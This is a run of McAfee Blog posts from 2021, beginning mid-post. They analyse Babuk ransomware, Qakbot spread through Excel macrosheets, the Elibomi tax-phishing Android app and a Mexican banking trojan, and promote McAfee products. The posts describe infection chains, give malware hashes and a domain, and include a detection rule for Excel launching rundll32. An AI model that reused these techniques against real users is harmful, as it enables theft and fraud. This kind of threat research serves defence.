These three legs provide APG a powerful CTI advantage allowing our customers to adapt and respond to events by producing threat intelligence dynamically. When using this service it allows the customer to be fully situationally aware in a moments notice (visual command and control). Access to the data alone is an immense asset to any organization.  This allows each customer not only to know what their telemetry is, but also provides real time insights into the entire world ecosystem. Finally, the human analysis alone is immensely valuable.  It allows for the organizations to read and see/understand what it all means (the who, what, where and why).   “The so what!!”

The post An Overall Philosophy on the Use of Critical Threat Intelligence appeared first on McAfee Blog.

In 2021 ransomware attacks have been dominant among the bigger cyber security stories. Hence, I was not surprised to see that McAfee’s June 2021 Threat report is primarily focused on this topic.

This report provides a large range of statistics using the McAfee data lake behind MVISION Insights, including the Top MITRE ATT&CK Techniques. In this report I highlight the following MITRE techniques:

1. Spear phishing links (Initial Access)
2. Exploit public-facing applications (Initial Access)
3. Windows Command Shell (Execution)
4. User execution (Execution)
5. Process Injection (Privilege escalation)
6. Credentials from Web Browsers (Credential Access)
7. Exfiltration to Cloud Storage (Exfiltration)

I also want to highlight one obvious technique which remains common across all ransomware attacks at the end of the attack lifecycle:

8. Data encrypted for impact (Impact)

Traditional defences based on anti-malware signatures and web protection against known malicious domains and IP addresses can be insufficient to protect against these techniques. Therefore, for the rest of this article, I want to cover a few recent McAfee innovations which can make a big difference in the fight against ransomware.

Unified Cloud Edge with Remote Browser Isolation

The following three ransomware techniques are linked to web access:

• Spear phishing links
• User execution
• Exfiltration to Cloud Storage

Moreover, most ransomware attacks require some form of access to a command-and-control server to be fully operational.

McAfee Remote Browser Isolation (RBI) ensures no malicious web content ever even reaches enterprise endpoints’ web browsers by isolating all browsing activity to unknown and risky websites into a remote virtual environment. With spear phishing links, RBI works best when running the mail client in the web browser. The user systems cannot be compromised if web code or files cannot run on them, making RBI the most powerful form of web threat protection available. RBI is included in most McAfee United Cloud Edge (UCE) licenses at no additional cost.

Figure 1. Concept of Remote Browser Isolation

McAfee Client Proxy (MCP) controls all web traffic, including ransomware web traffic initiated without a web browser by tools like MEGAsync and Rclone. MCP is part of McAfee United Cloud Edge (UCE).

Protection Against Fileless Attacks

The following ransomware techniques are linked to fileless attacks:

• Windows Command Shell (Execution)
• Process Injection (Privilege escalation)
• User Execution (Execution)

Many ransomware attacks also use PowerShell.

Figure 2. Example of an attack kill chain with fileless

McAfee provides a large range of technologies which protect against fileless attack methods, including McAfee ENS (Endpoint Security) Exploit prevention and McAfee ENS 10.7 Adaptive Threat Protection (ATP). Here are few examples of Exploit Prevention and ATP rules:

• Exploit 6113-6114-6115-6121 Fileless threat: self-injection
• Exploit 6116-6117-6122: Mimikatz suspicious activity
• ATP 316: Prevent PDF readers from starting cmd.exe
• ATP 502: Prevent new services from being created via sc.exe or powershell.exe

Regarding the use on Mimikatz in the example above, the new McAfee ENS 10.7 ATP Credential Theft Protection is designed to cease attacks against Windows LSASS so that you do not need to rely on the detection of Mimikatz.

Figure 3. Example of Exploit Prevention rules related to Mimikatz

ENS 10.7 ATP is now included in most McAfee Endpoint Security licenses at no additional cost.

Proactive Monitoring and Hunting with MVISION EDR

To prevent initial access, you also need to reduce the risks linked to the following technique:

• Exploit public facing applications (Initial Access)

For example, RDP (Windows Remote Desktop Protocol) is a common initial access used by ransomware attacks. You may have a policy that already prohibits or restricts RDP but how do you know it is enforced on every endpoint?

With MVISION EDR (Endpoint Detection and Response) you can perform a real time search across all managed systems to see what is happening right now.

Figure 4. MVISION EDR Real-time Search to verify if RDP is enabled or disabled on a system

Figure 5. MVISION EDR Real-time Search to identify systems with active connections on RDP

MVISION EDR maintains a history of network connections inbound and outbound from the client. Performing an historical search for network traffic could identify systems that actively communicated on port 3389 to unauthorized addresses, potentially detecting attempts at exploitation.

MVISION EDR also enables proactive monitoring by a security analyst. The Monitoring Dashboard helps the analyst in the SOC quickly triage suspicious behavior.

For more EDR use cases related to ransomware see this blog article.

Actionable Threat Intelligence

With MVISION Insights you do not need to wait for the latest McAfee Threat Report to be informed on the latest ransomware campaigns and threat profiles. With MVISION Insights you can easily meet the following use cases:

• Proactively assess your organization’s exposure to ransomware and prescribe how to reduce the attack surface:
  • Detect whether you have been hit by a known ransomware campaign
  • Run a Cyber Threat Intelligence program despite a lack of time and expertise
  • Prioritize threat hunting using the most relevant indicators

These use cases are covered in the webinar How to fight Ransomware with the latest McAfee innovations.

Regarding the following technique from the McAfee June 2021 Threat Report:

Credentials from Web Browsers (Credential Access)

MVISION Insights can display the detections in your environment as well as prevalence statistics.

Figure 6. Prevalence statistics from MVISION Insights on the LAZAGNE tool

MVISION Insights is included in several Endpoint Security licenses.

Rollback of Ransomware Encryption

Now we are left with the last technique in the attack lifecycle:

• Data encrypted for impact (Impact)

McAfee ENS 10.7 Adaptive Threat Protection (ATP) provides dynamic application containment of suspicious processes and enhanced remediation with an automatic rollback of the ransomware encryption.

Figure 7. Configuration of Rollback remediation in ENS 10.7

You can see how files impacted by ransomware can be restored through Enhanced Remediation in this video. For more best practices on tuning Dynamic Application Containment rules, check the knowledge base article here.

Additional McAfee Protection Against Ransomware

Last year McAfee released this blog article covering additional capabilities from McAfee Endpoint Security (ENS), Endpoint Detection and Response (EDR) and the Management Console (ePO) against ransomware including:

• ENS Exploit prevention
• ENS Firewall
• ENS Web control
• ENS Self protection
• ENS Story Graph
• ePO Protection workspace
• Additional EDR use cases against ransomware

Summary

To increase your protection against ransomware you might already be entitled to:

• ENS 10.7 Adaptive Threat Protection
• Unified Cloud Edge with Remote Browser Isolation and McAfee Client Proxy
• MVISION Insights
• MVISION EDR

If you are, you should start using them as soon as possible, and if you are not, contact us.

The post Fighting new Ransomware Techniques with McAfee’s Latest Innovations appeared first on McAfee Blog.

Co-written with Northwave’s Noël Keijzer.

Executive Summary

For a long time, ransomware gangs were mostly focused on Microsoft Windows operating systems. Yes, we observed the occasional dedicated Unix or Linux based ransomware, but cross-platform ransomware was not happening yet. However, cybercriminals never sleep and in recent months we noticed that several ransomware gangs were experimenting with writing their binaries in the cross-platform language Golang (Go).

Our worst fears were confirmed when Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems. Many core backend systems in companies are running on these *nix operating systems or, in the case of virtualization, think about the ESXi hosting several servers or the virtual desktop environment.

We touched upon this briefly in our previous blog, together with the many coding mistakes the Babuk team is making.

Even though Babuk is relatively new to the scene, its affiliates have been aggressively infecting high-profile victims, despite numerous problems with the binary which led to a situation in which files could not be retrieved, even if payment was made.

Ultimately, the difficulties faced by the Babuk developers in creating ESXi ransomware may have led to a change in business model, from encryption to data theft and extortion.

Indeed, the design and coding of the decryption tool are poorly developed, meaning if companies decide to pay the ransom, the decoding process for encrypted files can be really slow and there is no guarantee that all files will be recoverable.

Coverage and Protection Advice

McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.

McAfee ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.

Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.

Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.

However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.

In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).

Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:

• E-mail Spearphishing (T1566.001). Often used to directly engage and/or gain an initial foothold, the initial phishing email can also be linked to a different malware strain, which acts as a loader and entry point for the ransomware gangs to continue completely compromising a victim’s network. We have observed this in the past with Trickbot and Ryuk, Emotet and Prolock, etc.
• Exploit Public-Facing Application (T1190) is another common entry vector; cyber criminals are avid consumers of security news and are always on the lookout for a good exploit. We therefore encourage organizations to be fast and diligent when it comes to applying patches. There are numerous examples in the past where vulnerabilities concerning remote access software, webservers, network edge equipment and firewalls have been used as an entry point.
• Using valid accounts (T1078) is and has been a proven method for cybercriminals to gain a foothold. After all, why break the door if you have the keys? Weakly protected Remote Desktop Protocol (RDP) access is a prime example of this entry method. For the best tips on RDP security, we would like to highlight our blog explaining RDP security.
• Valid accounts can also be obtained via commodity malware such as infostealers, that are designed to steal credentials from a victim’s computer. Infostealer logs containing thousands of credentials are purchased by ransomware criminals to search for VPN and corporate logins. As an organization, robust credential management and multi-factor authentication on user accounts is an absolute must have.

When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.

Summary of the Threat

• A recent forum announcement indicates that the Babuk operators are now expressly targeting Linux/UNIX systems, as well as ESXi and VMware systems
• Babuk is riddled with coding mistakes, making recovery of data impossible for some victims, even if they pay the ransom
• We believe these flaws in the ransomware have led the threat actor to move to data theft and extortion rather than encryption

Learn more about how Babuk is transitioning away from an encryption/ransom model to one focused on pure data theft and extortion in our detailed technical analysis.

The post Babuk: Biting off More than they Could Chew by Aiming to Encrypt VM and *nix Systems? appeared first on McAfee Blog.

Written by: Lakshya Mathur

Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.  

With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections. 

Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc. 

The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware. 

Detailed Technical Analysis 

XLSM Structure 

XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros. 

Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below. 

• _rels contains the starting package-level relationship. 
• docProps contains the metadata of the excel file. 
• xl folder contains the actual contents of the file. 
• [Content_Types].xml has references to the XML files present within the above folders. 

We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets. 

These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog. 

To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e. 

Infection Chain

The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function. 

XLSM Threat Analysis 

On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.

On digging deeper, we see its internal workbook.xml file. 

Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.  

As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6. 

These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings. 

Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags. 

<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures. 

When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below. 

Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc. 

Coverage and prevention guidance: 

McAfee’s Endpoint products detect this variant of malware as below: 

The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files. 

Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern. 

Rule { 

    Process { 

        Include OBJECT_NAME { -v “EXCEL.exe” } 

    } 

Target { 

        Match PROCESS { 

            Include OBJECT_NAME { -v “rundll32.exe” } 

                      Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }  

                            Include -access “CREATE” 

         } 

  } 

} 

McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat. 

Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform. 

• T1064(Scripting): Use of Excel 4.0 macros and different excel formulas to download the malicious payload. 
• Defense Evasion (T1218.011): Execution of Signed binary to abuse Rundll32.exe and proxy executes the malicious code is observed in this Qakbot variant.  
• Defense Evasion (T1562.001): Office file tries to convince a victim to disable security features by using a clean-looking image. 
• Command and Control(T1071): Use of Application Layer Protocol HTTP to connect to the web and then downloads the malicious payload. 

Conclusion 

XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc. 

Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose. 

The post XLSM Malware with MacroSheets appeared first on McAfee Blog.

Co-written by Catherine Huang, Ph.D. and Abhishek Karnik 

Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.  

Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data. 

1. CNN on Raw Bytes 

The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.  

2. Experimental Results 

For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.  

In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.  

One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920. 

In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.  

3. Visual Explanation 

To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier. 

We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually. 

4. Human analysis to understand the ML decision and XAI  

To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket. 

We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.  

We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.  

In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.  

We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community. 

The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.

Authored by ChanUng Pak  

McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices. 

During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app. 

We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available. 

Pretending to be an app from the Income Tax Department in India 

The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021. 

Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions 

After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device: 

Figure 2. Elibomi stealing SMS messages 

Prevention and defense 

Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps: 

• Have a reliable and updated security application like McAfee Mobile Security installed in your mobile devices to protect you against this and other malicious applications. 
• Do not click on suspicious links received from text messages or social media, particularly from unknown sources. Always double check by other means if a contact that sends a link without context was really sent by that person because it could lead to the download of a malicious application. 

Conclusion 

Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services. 

McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com 

For those interested in a deeper dive into our research… 

Distribution method and stolen data exposed on the Internet 

During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return: 

Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware 

Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices: 

Figure 4. Example of account information exposed in one of the C2 servers

If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible: 

Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India 

Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right: 

Figure 6. Different malicious applications for different users

During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund: 

Figure 7. Fake iMobile screens designed to capture personal and financial information 

The sensitive financial information provided by the tricked user is also exposed on the Internet: 

Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app 

Related Fake IT Certificate applications 

The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020.  In the following figure we can see the similarities in the code between the two malware campaigns: 

Figure 9. Code similarity between Elibomi campaigns 

The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device: 

Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background 

Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign: 

Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile” 

Interesting string obfuscation technique 

The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value

Figure 12. Calling the de-obfuscation method with different parameters 

Figure 13. String de-obfuscation method 

Figure 14. String de-obfuscation table 

The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string. 

Appendix – Technical Data and IOCs 

The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blog.

Authored by Fernando Ruiz

McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico. 

McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants. 

How does this malware spread? 

The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet. 

Here’s how to protect yourself 

During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible. 

Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats: 

• Employ security software on your mobile devices  
• Think twice before downloading and installing suspicious apps especially if they request SMS or Notification listener permissions. 
• Use official app stores however never trust them blindly as malware may be distributed on these stores too so check for permissions, read reviews and seek out developer information if available. 
• Use token based second authentication factor apps (hardware or software) over SMS message authentication 

Interested in the details? Here’s a deep dive on this malware 

Behavior: Carefully guiding the victim to provide their credentials 

Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app: 

– Fake Tool to report fraudulent movements that creates a sense of urgency: 

“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically. 

At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.” 

– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security: 

“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials. 

If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does. 

Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor. 

In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.  

In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data. 

Table Headers: Date, From, Body Message, User, Password, Id: 

This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development. 

IoC 

SHA256: 

• 84df7daec93348f66608d6fe2ce262b7130520846da302240665b3b63b9464f9 
• b946bc9647ccc3e5cfd88ab41887e58dc40850a6907df6bb81d18ef0cb340997 
• 3f773e93991c0a4dd3b8af17f653a62f167ebad218ad962b9a4780cb99b1b7e2 
• 1deedb90ff3756996f14ddf93800cd8c41a927c36ac15fcd186f8952ffd07ee0 

Domains: 

• https[://]appmx2021.com 

The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.

Authored by Anuradha M

